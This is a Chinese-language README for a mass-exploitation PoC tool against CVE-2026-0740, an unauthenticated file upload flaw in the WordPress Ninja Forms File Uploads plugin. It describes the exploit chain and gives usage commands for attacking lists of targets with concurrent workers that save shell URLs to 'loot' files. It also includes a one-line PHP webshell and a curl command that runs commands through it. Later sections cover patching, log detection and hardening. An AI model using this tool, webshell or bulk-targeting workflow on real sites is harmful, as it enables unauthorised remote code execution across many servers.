作者: 0xNuts
贡献者: Cursor
仓库: https://github.com/ExDev994/CVE-2026-0740-mass
针对 CVE-2026-0740 的 PoC:Ninja Forms File Uploads <= 3.3.26 — 未认证任意文件上传,可导致 RCE。
该漏洞最初由 Sélim Lanouar (@whattheslime) 发现。批量目标利用引擎 PoC 由 0xNuts 开发,并得到 Cursor 的贡献。
本仓库仅用于安全研究和防御目的(授权渗透测试、持有书面许可的红队行动、补丁验证和加固)。
WordPress 的 Ninja Forms - File Uploads 插件在 3.3.26(含)之前的所有版本中均存在 未认证任意文件上传 漏洞。
利用链:
nf_fu_get_new_nonce 搭配任意 field_id 获取上传 nonce。nf_fu_upload 处理函数会验证上传文件的扩展名(例如 image.jpg),但攻击者可以通过 POST 参数(image_jpg)覆盖目标文件名。move_uploaded_file() → 任意扩展名 + 路径遍历(../)。完整补丁可在 3.3.27+ 版本中获得。
本仓库仅包含 CVE-2026-0740.py 和 README.md。请手动安装依赖:
python3 -m venv .venv
source .venv/bin/activate # Linux/macOS/WSL
# .venv\Scripts\activate # Windows
pip install httpx==0.28.1 socksio==1.0.0
python3 CVE-2026-0740.py -h
注意: 必须且仅使用 -t 或 -f 中的一个。
python3 CVE-2026-0740.py -t http://target.com --shell shell.php
使用显式路径遍历:
python3 CVE-2026-0740.py -t http://target.com --shell shell.php -d ../../../shell.php
创建 target.txt 文件:
http://site1.com
https://site2.com
10.0.0.5
# baris komentar diabaikan
运行:
python3 CVE-2026-0740.py -f target.txt --shell shell.php
调整 worker 数并指定 loot 输出:
python3 CVE-2026-0740.py -f target.txt --shell shell.php -w 50 -o loot.txt
成功上传的 shell URL 将写入 loot 文件(追加模式)。
echo '<?php system($_GET["cmd"] ?? ""); ?>' > shell.php
上传成功后,脚本会显示 shell URL。验证(仅在实验室/授权目标上):
curl "http://target.com/wp-content/shell.php?cmd=id"
httpx -fr -u http://target.com -ms 'file_uploads_nfpluginsettings-js' -er 'nfpluginsettings\.js\?ver=[\d\.]+'
请立即将 Ninja Forms - File Uploads 更新到 3.3.27 或更高版本。
Ninja Forms - File Uploads 的版本更新后:
nf_fu_get_new_nonce / nf_fu_upload 测试 wp-admin/admin-ajax.php 端点 — 任意上传应被拒绝检查 WordPress 上传目录:
wp-content/uploads/ninja-forms/tmp/
wp-content/uploads/ninja-forms/
wp-content/
查找不应存在的可疑文件:.php、.pht、.phtml、.phar、.html、.svg、.js。
同时检查 Web 服务器日志中对以下路径的请求:
/wp-admin/admin-ajax.php
其中包含参数 action=nf_fu_get_new_nonce 或 action=nf_fu_upload。
在 /wp-admin/admin-ajax.php 上启用 WAF / 速率限制,以阻止批量上传滥用
通过 Web 服务器配置在 wp-content/uploads/ 目录中禁用 PHP 执行:
Apache(位于 uploads/ 目录的 .htaccess):
<FilesMatch "\.php$">
Require all denied
</FilesMatch>
Nginx:
location ~* /wp-content/uploads/.*\.php$ {
deny all;
}
最小权限:确保上传文件的权限不允许 Web 服务器写入所需目录之外的路径
监控:对来自陌生 IP 或高频率的、带有 nf_fu_* action 的 admin-ajax.php POST 请求设置告警
备份与应急响应:若发现 IoC,请隔离站点、轮换数据库/管理员凭据,并审计其他插件/主题
如果不需要上传功能,请禁用并删除 Ninja Forms - File Uploads 插件。
| 向量 / 扩展名 | <= 3.3.24 | 3.3.25 | 3.3.26 | 3.3.27 |
|---|
路径遍历(../) | PASS | - | - | - |
.php | PASS | - | - | - |
.phtml、.phar | PASS | PASS | - | - |
.pht | PASS | PASS | PASS | - |
.html、.svg、.js | PASS | PASS | PASS | - |
| Flag | 功能 |
|---|
-t, --target | 单个目标(单个 URL) |
-f, --targets-file | 包含目标列表的 .txt 文件(每行一个 URL) |
--shell | 要上传的 payload/webshell 文件(必需) |
-d, --dest | 目标路径遍历(默认:../../../) |
-w, --workers | 并发线程数(默认:20) |
-o, --output | 成功 shell URL 的 loot 文件(默认:results.txt) |
-x, --proxy | HTTP 代理(例如 http://127.0.0.1:8080) |
-H, --headers | 自定义请求头(格式:'Header: Value') |
--timeout | HTTP 超时时间(秒)(默认:10) |